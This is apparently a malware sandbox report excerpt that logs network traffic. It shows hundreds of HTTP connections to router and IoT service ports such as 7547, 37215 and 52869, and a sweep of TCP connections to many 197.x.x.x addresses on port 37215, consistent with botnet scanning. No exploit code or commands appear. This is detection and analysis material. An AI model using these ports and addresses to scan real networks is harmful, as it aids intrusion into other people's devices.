Source: unknown	Network traffic detected: HTTP traffic on port 45580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54452 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54452
Source: unknown	Network traffic detected: HTTP traffic on port 45580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54444
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 58512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49642 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46064 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56780 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44034 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47898 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44186 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47986 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34422 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34360 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34520 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56336 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56188
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56336
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56338
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52472 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56336
Source: unknown	Network traffic detected: HTTP traffic on port 52472 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56354
Source: unknown	Network traffic detected: HTTP traffic on port 38868 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53520 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56336
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56354
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58296 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58332 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36670 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35392
Source: unknown	Network traffic detected: HTTP traffic on port 35398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36670
Source: unknown	Network traffic detected: HTTP traffic on port 36676 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57840 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35398
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36676
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35398
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56354
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46148 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55278 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55804 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55308 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32842 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32864 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32842
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32864
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47782 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47798 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32842
Source: unknown	Network traffic detected: HTTP traffic on port 57326 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47798 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32864
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37418 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39442 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39442
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39470
Source: unknown	Network traffic detected: HTTP traffic on port 40242 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53942 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43848 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41676 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48704 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47278 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48704 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35150 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 36030 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59898 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46692 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32992 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 32992
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60872 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 58342
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 33008 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40632 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 33008
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 40632
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 58342
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55546 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48810 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48848 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48810
Source: unknown	Network traffic detected: HTTP traffic on port 35100 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48848
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33236 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33260 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49336 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49336 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38604 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33478 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37492
Source: unknown	Network traffic detected: HTTP traffic on port 38608 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37462
Source: unknown	Network traffic detected: HTTP traffic on port 42338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42344 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42338
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42344
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547

Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.203.215.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.84.238.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.26.44.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.200.98.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.71.204.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.28.131.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.69.251.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.239.225.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.164.199.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.249.134.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.229.191.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.33.238.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.78.211.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.134.181.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.244.210.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.128.183.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.135.255.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.245.197.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.202.114.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.188.33.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.145.235.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.156.213.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.38.149.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.130.40.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.186.63.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.71.203.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.14.248.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.151.93.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.74.157.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.164.250.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.109.151.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.193.211.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.228.96.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.101.36.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.58.108.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.138.123.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.208.26.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.228.162.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.209.104.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.135.183.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.12.59.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.44.92.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.239.59.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.36.248.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.238.45.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.196.160.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.224.60.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.226.249.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.190.140.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.43.209.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.188.201.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.223.200.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.241.53.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.237.118.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.4.224.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.103.72.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.99.62.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.25.130.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.67.181.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.211.69.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.36.74.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.192.193.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.29.19.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.110.82.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.202.140.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.135.150.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.69.203.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.102.221.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.209.116.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.164.216.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.225.107.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.196.191.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.214.207.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.157.217.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.72.88.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.226.140.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.181.36.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.26.196.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.97.251.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.136.26.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.129.100.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.180.54.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.151.208.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.38.133.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.102.198.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.111.220.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.138.72.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.1.121.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.152.19.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.194.203.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.94.3.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.6.43.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.6.143.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.134.174.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.207.101.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.171.180.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.248.73.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.55.193.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.104.119.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.1.184.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.251.128.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.212.78.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.110.252.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.54.107.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.215.251.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.154.231.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.194.219.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.145.48.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.206.237.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.117.46.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.253.75.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.19.39.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.206.17.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.166.221.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.42.115.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.94.15.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.78.10.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.250.221.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.136.236.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.236.58.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.39.102.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.151.119.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.236.167.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.6.67.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.13.188.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.246.47.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.209.241.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.138.82.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.191.146.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.109.88.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.91.14.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.51.192.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:17319 -> 197.60.27.240:37215
